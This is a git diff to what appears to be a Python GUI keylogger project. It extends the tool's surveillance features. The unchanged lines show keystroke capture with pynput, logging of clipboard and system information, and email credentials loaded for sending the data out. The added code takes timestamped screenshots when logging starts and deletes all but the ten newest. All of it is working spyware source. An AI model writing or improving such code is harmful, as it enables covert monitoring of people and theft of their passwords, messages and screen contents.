diff --git a/app/.gitignore b/app/.gitignore index bf8a14f..49cc512 100644 --- a/app/.gitignore +++ b/app/.gitignore @@ -1,3 +1,4 @@ .env data/*.txt -data/*.png \ No newline at end of file +data/*.png +data/screenshots \ No newline at end of file diff --git a/app/guikeylogger.py b/app/guikeylogger.py index 1b0a777..2125d0e 100644 --- a/app/guikeylogger.py +++ b/app/guikeylogger.py @@ -20,6 +20,9 @@ from dotenv import load_dotenv from pynput.keyboard import Listener +import glob +from datetime import datetime + # Load environment variables load_dotenv() @@ -30,14 +33,14 @@ keys_information = "data/key_log.txt" system_information = "data/systeminfo.txt" clipboard_information = "data/clipboard.txt" -screenshot_information = "data/screenshot.png" +SCREENSHOT_DIR="data/screenshots" # Retrieve email and password from environment variables email_address = os.getenv('email') password = os.getenv('pass') # Global variables for email sending -toAddr = "" +toAddr = "" state = 0 stopFlag = False @@ -109,9 +112,38 @@ def copy_clipboard(): # Function to take screenshot def screenshot(): + os.makedirs(SCREENSHOT_DIR, exist_ok=True) + + timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + + screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png") + im = ImageGrab.grab() im.save(screenshot_information) + print(f"Saved screenshot: {screenshot_information}") + limit_screenshots(SCREENSHOT_DIR, keep=10) + + + +def limit_screenshots(directory, keep=10): + + """Delete old screenshots if more than 'keep' exist.""" + + screenshots = sorted( + glob.glob(os.path.join(directory, "*.png")), + key=os.path.getmtime + ) + + if len(screenshots) > keep: + for old_file in screenshots[:-keep]: + try: + os.remove(old_file) + print(f"Deleted old screenshot: {old_file}") + except Exception as e: + print(f"Error deleting {old_file}: {e}") + + # Global variables for key logging count = 0 @@ -146,6 +178,7 @@ def start_logger(): count = 900 listener.start() btnStr.set("Stop Keylogger") + screenshot() while True: print(count) if stopFlag: